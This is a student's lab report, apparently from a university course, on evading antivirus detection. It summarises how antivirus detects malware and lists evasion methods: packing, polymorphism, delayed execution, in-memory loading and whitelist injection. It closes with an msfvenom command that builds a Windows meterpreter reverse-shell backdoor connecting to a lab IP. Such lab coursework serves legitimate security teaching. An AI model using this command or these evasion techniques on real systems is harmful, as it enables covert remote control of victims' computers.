20232407 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 9:44:32/文章来源:https://www.cnblogs.com/liuyuhanghang/p/19168006

1.实验内容

实践内容

(1)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器，使用msfvenom生成如jar之类的其他文件
veil，加壳工具
使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

实验要求

掌握免杀原理与技术
回答问题

（1）杀软是如何检测出恶意代码的？

1. 特征码检测:杀软厂商会提取已知恶意代码的 “指纹”，即一段唯一的二进制特征码，存入特征库。扫描时，杀软会将电脑中的文件与特征库比对，一旦匹配就判定为恶意代码。
2. 行为分析:当程序出现异常操作时，如修改系统关键文件、私自联网发送数据、创建大量可疑进程，杀软会触发警报。
3. 启发式扫描:杀软会根据已知恶意代码的行为模式，建立一套判断规则。扫描时，若程序符合 “恶意行为特征” 的概率超过阈值，即使没有特征码匹配，也会被标记为可疑文件。

（2）免杀是做什么？

免杀是通过技术手段伪装恶意代码，让杀毒软件无法识别，从而绕过检测并在目标设备上运行的行为。
其核心思路围绕对抗杀软的检测方式展开：修改恶意代码的特征码，避开 “特征码检测”。伪装恶意行为，比如延迟操作，躲避 “行为分析”。调整代码结构，降低被 “启发式扫描” 判定为可疑的概率。

（3）免杀的基本方法有哪些？

1. 特征码修改
加壳 / 混淆：给恶意代码套上一层 “外壳” 或打乱代码结构，改变其表面特征码，常见工具有 UPX、Themida。
代码重写：修改恶意代码中非核心功能的代码片段，比如替换变量名、调整语句顺序，不影响功能但改变特征。
多态 / 变形：让恶意代码每次传播时自动改变部分代码结构，生成不同特征码，避免被单一特征码识别。
2. 行为伪装
延迟执行：恶意代码启动后不立即触发恶意行为，等待一段时间或特定条件（如用户操作后）再运行，避开实时监控。
模拟正常行为：伪装成合法程序的操作，比如模仿浏览器联网、办公软件读写文件，降低行为异常度。
权限绕过：通过低权限操作实现恶意目的，或暂时关闭杀软的监控模块（需特定漏洞），减少行为暴露。
3. 规避扫描
内存加载：恶意代码不落地生成文件，直接在内存中运行，避免被文件扫描检测到。
利用白名单：将恶意代码注入到杀软信任的合法程序（如系统进程、常用软件）中，借助白名单绕过扫描。
分段执行：将恶意代码拆分成多个片段，分开传输或加载，单个片段不具备恶意特征，组合后才触发功能。

2.实验过程

一.正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧

1.正确使用msf编码器，使用msfvenom生成如jar之类的其他文件

免杀检测

1.参考实验二Exp2-后门原理与实践中的第三个小实验，在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f exe > 20232407_backdoor_1.exe生成针对Windows的毒化后门可执行程序20232407_backdoor_1.exe